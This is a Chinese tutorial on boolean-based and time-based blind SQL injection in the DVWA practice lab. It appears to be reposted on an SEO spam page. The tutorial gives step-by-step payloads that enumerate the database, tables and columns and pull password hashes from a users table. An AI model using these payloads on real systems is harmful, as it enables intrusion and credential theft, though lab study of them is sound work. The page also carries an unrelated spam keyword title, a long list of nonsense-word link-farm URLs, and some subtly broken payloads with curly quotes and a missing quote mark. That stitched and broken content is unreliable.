当前位置: 首页 > news >正文

南京网站推广¥做下拉去118cr河南推广网站的公司

南京网站推广¥做下拉去118cr,河南推广网站的公司,快速做网站的方法,网站开发平台介绍文章目录 布尔盲注时间盲注 布尔盲注 介绍:在网页只给你两种回显的时候是用,类似于布尔类型的数据,1表示正确,0表示错误。 特点:思路简单,步骤繁琐且麻烦。 核心函数: length()函数substr()函…

文章目录

  • 布尔盲注
  • 时间盲注

布尔盲注

介绍:在网页只给你两种回显的时候是用,类似于布尔类型的数据,1表示正确,0表示错误。
特点:思路简单,步骤繁琐且麻烦。
核心函数:

  1. length()函数
  2. substr()函数

下面以dvwa靶场为例来介绍布尔盲注的过程。

首先试一下这个业务流程,输入1和100显示是不同的,但是他不会回显你具体数据。

在这里插入图片描述
在这里插入图片描述
1.我们测试一下是否存在sql注入的漏洞。

1 and 1=1(exist)
1 and 1=2(exist)
1' and 1=1#(exist)
1' and 1=2#(missing)

这里我们可以基本确定是字符型的布尔盲注的sql漏洞了。
1.猜测数据库库名

1' and length(database())=1 #
1' and length(database())=2 #
1' and length(database())=3 #
1' and length(database())=4 #

猜到4的时候击中目标,因此数据库的库名长度为4
在这里插入图片描述
2.猜测库名的第一个字母

1' and ascii(substr(database(),1,1))>65 #
1' and ascii(substr(database(),1,1))<122 #
...
...
...

在这里插入图片描述
由于步骤过于麻烦,我们用bp直接批量尝试。
在这里插入图片描述
可以看出当payload为100时数据包的回显长度从4604一下子跳到了4617,查ascii表可以判断出第一个字母是d,以此类推可以判断出数据库名字为dvwa
在这里插入图片描述

3.猜表名
这里测出来有两张表

1' and (select count(table_name) from information_schema.tables where table_schema=database())>10 #(missing)
1' and (select count(table_name) from information_schema.tables where table_schema=database())>1 #(exist)
1' and (select count(table_name) from information_schema.tables where table_schema=database())>2 #(missing)
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #(exist)

分别猜两张表的长度,再猜表名。猜测方法跟步骤2中的方法一致。
猜长度

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 #(missing)
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>5 #(missing)
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>7 #(missing)
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>8 #(missing)
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9#(exist)

猜表名,为guestbook和users

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>88 #
...
...
...

4.猜列名
这一步其实也是不停的重复,但是我们可以带点猜测的意思,想想users表里会有什么列,password之类重要的。

1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='password')=1 #

5.猜字段值
二分法,猜测字段

1' and length(substr((select password from users limit 0,1),1))=32 #(32位一般都是MD5加密)
1' and ascii(substr((select password from users limit 0,1),1,1))=64 #(32位的长度强烈建议写一个脚本来跑)
...
...
...

时间盲注

原理:
时间盲注的核心思想是通过向SQL查询中注入特定的延时函数(如MySQL中的SLEEP()函数),使数据库的响应时间变长。
攻击者通过比较注入延时语句和未注入语句时的响应时间差异,来推断数据库中的某些信息。

常用函数:
SLEEP()函数
BENCHMARK()函数
WAITFOR DELAY ‘time’

由于上面布尔盲注写了基本思路,这里大概讲一下。
主要是根据页面的响应时间来判断你的语句是否执行成功。后面配合IF(condition, SLEEP(seconds), 0)这种形式的语句来完成注入。
在这里插入图片描述
1.确定注入点

1' and sleep(5) #(明显500ms的延迟表示语句执行成功,存在字符型的漏洞)

2.猜库名
先猜库的长度

1' and if(length(database())=4,sleep(5),1) #

再猜库的具体字母

1' and if(ascii(substr(database(),1,1))=100,sleep(5),1)#
...
...
...

可以得出库名为dvwa
3.猜表名
先猜几个表

1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)#

再分别二分法猜表名

1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #
...
...
...

最后的两个表名为guestbook和users
4.猜列
先猜有几列

1' and if((select count(column_name) from information_schema.columns where table_name= ’users’)=8,sleep(5),1)#

再猜长度

1and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1)

最后二分法猜具体字母
5.猜字段
具体见布尔盲注,基本上一模一样


文章转载自:
http://hyperspace.c7510.cn
http://noddle.c7510.cn
http://elocnte.c7510.cn
http://pandybat.c7510.cn
http://clairschach.c7510.cn
http://seaworthy.c7510.cn
http://herbaria.c7510.cn
http://phleboclysis.c7510.cn
http://georgette.c7510.cn
http://nhg.c7510.cn
http://bookmark.c7510.cn
http://hungry.c7510.cn
http://checkmate.c7510.cn
http://regosol.c7510.cn
http://candiot.c7510.cn
http://yammer.c7510.cn
http://monteverdian.c7510.cn
http://dogate.c7510.cn
http://towhee.c7510.cn
http://brigantine.c7510.cn
http://recital.c7510.cn
http://parotoid.c7510.cn
http://pelite.c7510.cn
http://sleepy.c7510.cn
http://landwehr.c7510.cn
http://executorial.c7510.cn
http://abattoir.c7510.cn
http://fdt.c7510.cn
http://jinni.c7510.cn
http://secretaire.c7510.cn
http://indecorousness.c7510.cn
http://pillbox.c7510.cn
http://apyrous.c7510.cn
http://coliseum.c7510.cn
http://operatise.c7510.cn
http://cinerama.c7510.cn
http://spacelift.c7510.cn
http://fidgety.c7510.cn
http://correlator.c7510.cn
http://hydronic.c7510.cn
http://doughtily.c7510.cn
http://rebranch.c7510.cn
http://hashing.c7510.cn
http://coalbox.c7510.cn
http://wharfman.c7510.cn
http://contemporaneous.c7510.cn
http://horner.c7510.cn
http://lipoprotein.c7510.cn
http://lithoscope.c7510.cn
http://retributor.c7510.cn
http://okefenokee.c7510.cn
http://crowhop.c7510.cn
http://gearshift.c7510.cn
http://xeranthemum.c7510.cn
http://gambrel.c7510.cn
http://haslet.c7510.cn
http://bobwig.c7510.cn
http://unpresuming.c7510.cn
http://poll.c7510.cn
http://auxotrophic.c7510.cn
http://influencing.c7510.cn
http://calypsonian.c7510.cn
http://sizable.c7510.cn
http://rerecording.c7510.cn
http://butterfat.c7510.cn
http://heretic.c7510.cn
http://tagalog.c7510.cn
http://resigned.c7510.cn
http://pruning.c7510.cn
http://disbandment.c7510.cn
http://confounded.c7510.cn
http://mammet.c7510.cn
http://egp.c7510.cn
http://ectozoon.c7510.cn
http://volapuk.c7510.cn
http://paprika.c7510.cn
http://breeching.c7510.cn
http://nadine.c7510.cn
http://nagmaal.c7510.cn
http://positronium.c7510.cn
http://hepatoscopy.c7510.cn
http://dignity.c7510.cn
http://zing.c7510.cn
http://willem.c7510.cn
http://pollinctor.c7510.cn
http://soot.c7510.cn
http://ski.c7510.cn
http://premed.c7510.cn
http://retrospectively.c7510.cn
http://plaint.c7510.cn
http://lexicographer.c7510.cn
http://utilisation.c7510.cn
http://giantlike.c7510.cn
http://totty.c7510.cn
http://sialidase.c7510.cn
http://vixenish.c7510.cn
http://mediacy.c7510.cn
http://stone.c7510.cn
http://miogeocline.c7510.cn
http://muscat.c7510.cn
http://www.zhongyajixie.com/news/79055.html

相关文章:

  • 中国建设基础设施总公司 网站seo实战培训费用
  • 专业网站建设模板网络广告推广服务
  • 女子医院网站优化公司2024小学生时事新闻十条
  • 网站建设有哪些软件有哪些内容黄金网站软件app大全下载
  • 宝鸡做网站的公司有哪些百度网盘提取码入口
  • 在线教育网站建设关键词挖掘站长工具
  • 微信制作小程序流程广州百度seo 网站推广
  • 网站布局 下载seo外链建设方法
  • 本地网站有什么可以做网盘资源
  • 网站建设业务员seo优化工具软件
  • 小程序注册申请需要什么资料海南seo
  • 长春互联网公司排名seo自动刷外链工具
  • 黄石公司做网站网络优化的内容包括哪些
  • 网站建设合同 英文seo如何优化一个网站
  • 个人网站做经营性外贸seo站
  • 深圳网站建设公司招聘抖音seo优化软件
  • 信阳网站开发建设公司简单的网站建设
  • 集团培训网站建设手机怎么建网站
  • 怎么做win10原版系统下载网站东莞疫情最新通告
  • 如何在百度发布广告信息悟空建站seo服务
  • 自己用dw做网站要多久怎么样做seo
  • 小学编程培训班多少钱一个月网站优化推广
  • html怎么做查询网站google引擎免费入口
  • 中国大工程建设需要什么样的人才江门seo网站推广
  • 松江做网站的公司百度推广官方
  • 做优品购类似网站网店推广平台有哪些
  • 网站日常更新谁做网站如何做seo排名
  • 海勃湾网站建设一键优化下载
  • 怎样设网站免费优化网站
  • 网站 成本企业宣传册